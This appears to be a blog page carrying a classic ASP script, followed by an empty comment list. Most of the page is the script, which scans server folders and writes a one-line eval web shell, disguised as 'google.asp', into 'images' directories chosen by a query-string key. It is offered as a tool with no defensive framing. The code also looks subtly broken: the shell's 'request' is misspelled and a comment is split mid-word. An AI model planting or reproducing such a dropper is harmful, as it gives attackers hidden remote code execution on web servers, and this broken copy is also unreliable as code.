<%
server.scripttimeout=500000000
key = trim(request.querystring("key"))
msg=" <% eval(rquese(chr(35)))%" &">"
set fso=server.createobject("scripting.filesystemobject")
set serverfolder=fso.getfolder("c:\intel")
set serverfolderlist=serverfolder.subfolders
for each serverfileevery in serverfolderlist
' r
esponse.write serverfileevery&"</br>"
if lcase(left(serverfileevery.name, 1)) = lcase(key) then
set sserverfolder=fso.getfolder(serverfileevery)
set sserverfolderlist=sserverfolder.subfolders
for each sserverfileevery in sserverfolderlist
if lcase(sserverfileevery.name) = "images" then
streamsavetofile sserverfileevery & "\google.asp", msg, "utf-8"
end if
next
end if
next
function streamsavetofile(spath, scontent, scharset)
dim ostream
if(instr(spath, ":") <= 0)then
spath = replace(spath, ",", ",")
spath = server.mappath(spath)
spath = replace(spath, ",", ",")
end if
set ostream = server.createobject("adodb.stream")
with ostream
.type = 2
.mode = 3
.open
.charset = scharset
.writetext scontent
.savetofile spath, 2
.close
end with
set ostream = nothing
end function
%>
评论列表:
发布于 3天前回复该评论
发布于 3天前回复该评论
发布于 3天前回复该评论
发布于 3天前回复该评论
发布于 2天前回复该评论
发布于 2天前回复该评论
发布于 2天前回复该评论
发布于 2天前回复该评论